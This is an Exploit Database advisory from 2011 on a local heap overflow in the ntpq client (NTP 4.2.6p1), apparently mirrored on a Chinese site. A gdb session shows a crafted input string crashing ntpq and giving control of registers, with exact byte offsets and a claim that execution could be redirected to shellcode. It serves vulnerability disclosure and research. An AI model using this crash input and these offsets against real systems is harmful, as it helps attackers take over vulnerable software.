Linux NTP query client 4.2.6p1 – Heap Overflow

• Exploit Database
• 106 阅读

• 作者： mr_me
  日期： 2011-03-11
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/16960/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130

  Linux NTP query client v4.2.6p1 Heap Overflow vulnerability ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ vendor: http://www.ntp.org/ software: http://www.eecis.udel.edu/~ntp/ntp_spool/ntp4/ntp-4.2/ntp-4.2.6p1.tar.gz impact: minor/informational   There is a local heap overflow in the ntpq utility client that comes packaged in ntp-4.2.6p1-2.fc13. Note: The binary is NOT suid/guid enabled on my system. Nonetheless, it provides some fun/interesting analysis.   mr_me@pluto ~]$ yum list installed | grep ntp fontpackages-filesystem.noarch 1.44-1.fc13 @updates ntp.i686 4.2.6p1-2.fc13@updates ntpdate.i686 4.2.6p1-2.fc13@updates   [mr_me@pluto ~]$ /usr/sbin/ntpq --version ntpq - standard NTP query program - Ver. 4.2.6p1   [mr_me@pluto ~]$ gdb /usr/sbin/ntpq GNU gdb (GDB) Fedora (7.1-34.fc13) Copyright (C) 2010 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.Type "show copying" and "show warranty" for details. This GDB was configured as "i686-redhat-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Reading symbols from /usr/sbin/ntpq...(no debugging symbols found)...done. Missing separate debuginfos, use: debuginfo-install ntp-4.2.6p1-2.fc13.i686   (gdb) r Starting program: /usr/sbin/ntpq [Thread debugging using libthread_db enabled] ntpq> AAAA {0x4ac} AAAABBBBAAAACCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.. ***Command `AAAA {0x4ac} AAAABBBBAAAACCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.. &apos;unknown   Program received signal SIGSEGV, Segmentation fault. 0xb7fab60d in el_gets () from /usr/lib/libedit.so.0   (gdb) i r eax0xbffff32c -1073745108 ecx0x0 0 edx0x42424242 1111638594 < ---- full control ebx0xb7fc5ac0 -1208198464 esp0xbffff260 0xbffff260 ebp0xbffff2c8 0xbffff2c8 esi0x43434343 1128481603 < ---- full control edi0xbffff32c -1073745108 eip0xb7fab60d 0xb7fab60d <el_gets+45> eflags 0x10282 [ SF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51   pointers are everywhere, look @ esp, esp+0x4 and esp+0x10 we can see a pointers to some controllable memory:   (gdb) x/5x $esp 0xbffff260: 0x0015b948 0x0015b948 0xbffff2c8 0x0012bd06 0xbffff270: 0x0015b948   (gdb) x/30x 0x0015b948 0x15b948: 0x41414141 0x41414141 0x41414141 0x41414141 0x15b958: 0x41414141 0x41414141 0x41414141 0x41414141 0x15b968: 0x41414141 0x41414141 0x41414141 0x41414141 0x15b978: 0x41414141 0x41414141 0x41414141 0x41414141 0x15b988: 0x41414141 0x41414141 0x41414141 0x41414141 0x15b998: 0x41414141 0x41414141 0x41414141 0x41414141 0x15b9a8: 0x41414141 0x41414141 0x41414141 0x41414141 0x15b9b8: 0x41414141 0x41414141   (gdb) bt #00xb7fab60d in el_gets () from /usr/lib/libedit.so.0 #10x0012c7b0 in ?? () #20x001196a3 in ?? () #30x0011978c in main ()   (gdb) disas 0xb7fab60d Dump of assembler code for function el_gets: 0xb7fab5e0 <+0>: push %ebp 0xb7fab5e1 <+1>: mov%esp,%ebp 0xb7fab5e3 <+3>: push %edi 0xb7fab5e4 <+4>: push %esi 0xb7fab5e5 <+5>: lea-0x20(%ebp),%eax 0xb7fab5e8 <+8>: push %ebx 0xb7fab5e9 <+9>: call 0xb7fa5469 0xb7fab5ee <+14>: add$0x1a4d2,%ebx 0xb7fab5f4 <+20>: lea-0x5c(%esp),%esp 0xb7fab5f8 <+24>: mov0xc(%ebp),%edi 0xb7fab5fb <+27>: test %edi,%edi 0xb7fab5fd <+29>: mov0x8(%ebp),%esi 0xb7fab600 <+32>: cmovne 0xc(%ebp),%eax 0xb7fab604 <+36>: mov%eax,0xc(%ebp) 0xb7fab607 <+39>: movl $0x0,(%eax) => 0xb7fab60d <+45>: mov0x14(%esi),%eax 0xb7fab610 <+48>: test $0x2,%al 0xb7fab612 <+50>: je 0xb7fab6b0 <el_gets+208> 0xb7fab618 <+56>: mov0x30(%esi),%edi 0xb7fab61b <+59>: mov%edi,0x4(%esp) 0xb7fab61f <+63>: mov%esi,(%esp) 0xb7fab622 <+66>: call *0x324(%esi) 0xb7fab628 <+72>: cmp$0x1,%eax 0xb7fab62b <+75>: mov%eax,%ecx 0xb7fab62d <+77>: jne0xb7faba50 <el_gets+1136> 0xb7fab633 <+83>: lea0x1(%edi),%edx 0xb7fab636 <+86>: cmp0x3c(%esi),%edx 0xb7fab639 <+89>: jae0xb7fab680 <el_gets+160> 0xb7fab63b <+91>: mov%edi,%eax 0xb7fab63d <+93>: mov%edx,%edi 0xb7fab63f <+95>: testb$0x8,0x14(%esi) 0xb7fab643 <+99>: jne0xb7fab650 <el_gets+112> 0xb7fab645 <+101>: movzbl (%eax),%eax 0xb7fab648 <+104>: cmp$0xa,%al 0xb7fab64a <+106>: je 0xb7fab650 <el_gets+112> 0xb7fab64c <+108>: cmp$0xd,%al ---Type <return> to continue, or q <return> to quit---   The code access violates at &apos;mov eax, dword ptr [%esi+20]&apos;. A this point, the EAX register can be controlled by setting a valid rw memory address into ESI+20. This will trigger a deference @ 0xb7fab60d and the value of whatever is contained within ESI+20 will written to EAX. The offset to controlling EDX is 1204 bytes and the offset to ESI is 1212 bytes.   In summary, it is likley that the execution flow can be redirected to desired shellcode.   ~ mr_me